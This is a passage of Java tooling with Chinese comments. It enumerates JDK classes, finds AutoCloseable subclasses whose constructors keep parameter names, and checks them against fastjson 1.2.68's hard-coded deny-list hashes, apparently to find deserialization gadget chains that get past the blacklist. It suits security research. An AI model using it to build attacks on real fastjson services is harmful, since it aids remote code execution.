long[] diffResult = getArrayDiff(denyHashCodes, denyHashCodes1);
List<String> classes = getAllClasses();
writeLines(classes, "output.txt", false);
getDenyExpectClassList(classes, expectHashValues);
getDenyList(classes, denyHashCodes);
}
}
寻找子类
package org.example.tools;
import java.io.IOException;
import java.util.List;
import static org.example.tools.ClassEnumerator.findSubClasses;
import static org.example.tools.ClassEnumerator.getAllClasses;
import static org.example.tools.FileProcesser.writeLines;
public class FindSubClasses {
public static void main(String[] args) throws IOException, ClassNotFoundException {
List<String> classes = getAllClasses();
writeLines(findSubClasses("java.lang.AutoCloseable", classes), "subClasses.txt", false);
}
}
文件处理
package org.example.tools;
import java.io.BufferedWriter;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.Collections;
import java.util.List;
public class FileProcesser {
public static void writeLines(List<String> lines, String filePath, boolean append) throws IOException {
Path path = Paths.get(filePath);
// 创建父目录(如果不存在)
Path parentDir = path.getParent();
if (parentDir != null) {
Files.createDirectories(parentDir);
}
// 使用 try-with-resources 自动关闭流
//append为false时才会创建文件
try (BufferedWriter writer = Files.newBufferedWriter(path, StandardCharsets.UTF_8,
append ? StandardOpenOption.APPEND : StandardOpenOption.CREATE)) {
for (String line : lines) {
writer.write(line);
writer.newLine();
}
}
}
}
局部变量表
package org.example.tools;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.objectweb.asm.*;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Modifier;
import java.util.*;
import static org.example.tools.ClassEnumerator.findSubClasses;
import static org.example.tools.ClassEnumerator.getAllClasses;
import static org.example.tools.FileProcesser.writeLines;
public class LocalVariableTableAnalyzer {
/**
* 检查指定类的构造方法是否保留了局部变量表
* @param className 类的全限定名,如 "java.io.FileOutputStream"
* @return 如果至少有一个构造方法保留了局部变量表,则返回 true,否则返回 false
*/
public static boolean hasLocalVariableTableInConstructors(String className) {
try (InputStream is = getClassResourceAsStream(className)) {
if (is == null) throw new IOException("Class not found: " + className);
ClassReader cr = new ClassReader(is);
ConstructorAnalyzer ca = new ConstructorAnalyzer();
cr.accept(ca, ClassReader.EXPAND_FRAMES);
return ca.hasLocalVariableTableInAnyConstructor();
} catch (Exception e) {
System.err.println("Error analyzing class: " + e.getMessage());
return false;
}
}
/**
* 打印指定类构造方法的局部变量表信息
* @param className 类的全限定名,如 "java.io.FileOutputStream"
*/
public static void printLocalVariableTables(String className) {
try (InputStream is = getClassResourceAsStream(className)) {
if (is == null) throw new IOException("Class not found: " + className);
ClassReader cr = new ClassReader(is);
LocalVariablePrinter printer = new LocalVariablePrinter();
cr.accept(printer, ClassReader.EXPAND_FRAMES);
printer.printResults();
} catch (Exception e) {
System.err.println("Error printing local variable tables: " + e.getMessage());
}
}
private static InputStream getClassResourceAsStream(String className) {
String resourceName = className.replace('.', '/') + ".class";
ClassLoader cl = Thread.currentThread().getContextClassLoader();
return cl.getResourceAsStream(resourceName);
}
static class ConstructorAnalyzer extends ClassVisitor {
private boolean hasLocalVariableTable = false;
public ConstructorAnalyzer() {
super(Opcodes.ASM9);
}
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
if ("<init>".equals(name)) {
return new ConstructorMethodVisitor(super.visitMethod(access, name, descriptor, signature, exceptions));
}
return super.visitMethod(access, name, descriptor, signature, exceptions);
}
public boolean hasLocalVariableTableInAnyConstructor() {
return hasLocalVariableTable;
}
class ConstructorMethodVisitor extends MethodVisitor {
public ConstructorMethodVisitor(MethodVisitor mv) {
super(Opcodes.ASM9, mv);
}
@Override
public void visitLocalVariable(String name, String descriptor, String signature,
Label start, Label end, int index) {
hasLocalVariableTable = true;
super.visitLocalVariable(name, descriptor, signature, start, end, index);
}
}
}
static class LocalVariablePrinter extends ClassVisitor {
private String currentClassName;
private final Map<String, List<LocalVariable>> constructorVariables = new LinkedHashMap<>();
public LocalVariablePrinter() {
super(Opcodes.ASM9);
}
@Override
public void visit(int version, int access, String name, String signature,
String superName, String[] interfaces) {
this.currentClassName = name.replace('/', '.');
super.visit(version, access, name, signature, superName, interfaces);
}
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
if ("<init>".equals(name)) {
String constructorId = name + descriptor;
return new LocalVariableMethodVisitor(
super.visitMethod(access, name, descriptor, signature, exceptions),
constructorId
);
}
return super.visitMethod(access, name, descriptor, signature, exceptions);
}
public void printResults() {
if (constructorVariables.isEmpty()) {
System.out.println("未找到构造方法或局部变量表信息");
return;
}
System.out.printf("类 %s 的构造方法局部变量表信息:%n", currentClassName);
for (Map.Entry<String, List<LocalVariable>> entry : constructorVariables.entrySet()) {
System.out.printf("%n构造方法: %s%n", entry.getKey());
List<LocalVariable> variables = entry.getValue();
if (variables.isEmpty()) {
System.out.println(" 无局部变量表信息");
} else {
System.out.printf(" %-10s %-15s %-20s %-10s%n",
"索引", "名称", "类型", "作用域");
for (LocalVariable var : variables) {
System.out.printf(" %-10d %-15s %-20s L%d-L%d%n",
var.index, var.name, var.descriptor, var.startLine, var.endLine);
}
}
}
}
class LocalVariableMethodVisitor extends MethodVisitor {
private final String constructorId;
private final List<LocalVariable> localVariables = new ArrayList<>();
private final Map<Integer, Integer> labelToLine = new HashMap<>();
public LocalVariableMethodVisitor(MethodVisitor mv, String constructorId) {
super(Opcodes.ASM9, mv);
this.constructorId = constructorId;
}
@Override
public void visitLineNumber(int line, Label start) {
labelToLine.put(start.hashCode(), line);
super.visitLineNumber(line, start);
}
@Override
public void visitLocalVariable(String name, String descriptor, String signature,
Label start, Label end, int index) {
int startLine = labelToLine.getOrDefault(start.hashCode(), -1);
int endLine = labelToLine.getOrDefault(end.hashCode(), -1);
localVariables.add(new LocalVariable(name, descriptor, signature, index, startLine, endLine));
super.visitLocalVariable(name, descriptor, signature, start, end, index);
}
@Override
public void visitEnd() {
constructorVariables.put(constructorId, localVariables);
super.visitEnd();
}
}
}
static class LocalVariable {
final String name;
final String descriptor;
final String signature;
final int index;
final int startLine;
final int endLine;
public LocalVariable(String name, String descriptor, String signature,
int index, int startLine, int endLine) {
this.name = name;
this.descriptor = descriptor;
this.signature = signature;
this.index = index;
this.startLine = startLine;
this.endLine = endLine;
}
}
public static boolean isPublicClass(String className) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(className);
return Modifier.isPublic(cc.getModifiers());
} catch (NotFoundException e) {
System.err.println("类未找到: " + className);
return false;
}
}
// 示例用法
public static void main(String[] args) throws IOException, ClassNotFoundException {
List<String> classes = getAllClasses();
List<String> subClasses = findSubClasses("java.lang.AutoCloseable", classes);
List<String> results = new ArrayList<>();
for (String className : subClasses) {
if (hasLocalVariableTableInConstructors(className) && isPublicClass(className)) {
System.out.println("类包含参数名信息: " + className);
results.add(className);
}
}
writeLines(results, "LocalVarTabClass.txt", false);
}
}
寻找1.2.68允许使用的子类
package org.example.tools;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import static org.example.tools.ClassEnumerator.findSubClasses;
import static org.example.tools.ClassEnumerator.getAllClasses;
import static org.example.tools.LocalVariableTableAnalyzer.hasLocalVariableTableInConstructors;
import static org.example.tools.LocalVariableTableAnalyzer.isPublicClass;
import static org.example.tools.fastjson_hash.isClassHashInDeny;
//获取fastjson 1.2.68的利用链
public class GetFastjsonChains {
public static void main(String[] args) throws IOException, ClassNotFoundException {
long[] denyHashCodes_1_68 = new long[]{-9164606388214699518L, -8720046426850100497L, -8649961213709896794L, -8165637398350707645L, -8109300701639721088L, -7966123100503199569L, -7921218830998286408L, -7775351613326101303L, -7768608037458185275L, -7766605818834748097L, -6835437086156813536L, -6316154655839304624L, -6179589609550493385L, -6025144546313590215L, -5939269048541779808L, -5885964883385605994L, -5764804792063216819L, -5472097725414717105L, -5194641081268104286L, -4837536971810737970L, -4608341446948126581L, -4438775680185074100L, -4082057040235125754L, -3975378478825053783L, -3935185854875733362L, -3319207949486691020L, -3077205613010077203L, -2825378362173150292L, -2439930098895578154L, -2378990704010641148L, -2364987994247679115L, -2262244760619952081L, -2192804397019347313L, -2095516571388852610L, -1872417015366588117L, -1650485814983027158L, -1589194880214235129L, -905177026366752536L, -831789045734283466L, -582813228520337988L, -254670111376247151L, -190281065685395680L, -26639035867733124L, -9822483067882491L, 4750336058574309L, 33238344207745342L, 218512992947536312L, 313864100207897507L, 386461436234701831L, 823641066473609950L, 1073634739308289776L, 1153291637701043748L, 1203232727967308606L, 1459860845934817624L, 1502845958873959152L, 1534439610567445754L, 1698504441317515818L, 1818089308493370394L, 2078113382421334967L, 2164696723069287854L, 2653453629929770569L, 2660670623866180977L, 2731823439467737506L, 2836431254737891113L, 3089451460101527857L, 3114862868117605599L, 3256258368248066264L, 3547627781654598988L, 3637939656440441093L, 3688179072722109200L, 3718352661124136681L, 3730752432285826863L, 3794316665763266033L, 4046190361520671643L, 4147696707147271408L, 4254584350247334433L, 4814658433570175913L, 4841947709850912914L, 4904007817188630457L, 5100336081510080343L, 5274044858141538265L, 5347909877633654828L, 5450448828334921485L, 5474268165959054640L, 5596129856135573697L, 5688200883751798389L, 5751393439502795295L, 5944107969236155580L, 6007332606592876737L, 6280357960959217660L, 6456855723474196908L, 6511035576063254270L, 6534946468240507089L, 6734240326434096246L, 6742705432718011780L, 6854854816081053523L, 7123326897294507060L, 7179336928365889465L, 7375862386996623731L, 7442624256860549330L, 7658177784286215602L, 8055461369741094911L, 8389032537095247355L, 8409640769019589119L, 8488266005336625107L, 8537233257283452655L, 8838294710098435315L, 9140390920032557669L, 9140416208800006522L};
List<String> classes = getAllClasses();
List<String> subClasses = findSubClasses("java.lang.AutoCloseable", classes);
List<String> result1 = new ArrayList<>();
List<String> result2 = new ArrayList<>();
//jdk8检查类有没有局部变量表
for (String className : subClasses) {
if (hasLocalVariableTableInConstructors(className) && isPublicClass(className)) {
System.out.println("类包含参数名信息: " + className);
result1.add(className);
}
}
//检查类是否在黑名单中
for (String className : result1) {
if (!isClassHashInDeny(className, denyHashCodes_1_68)){
result2.add(className);
}
}
System.out.println("允许使用的类如下:");
for (String className : result2) {
System.out.println(className);
}
}
}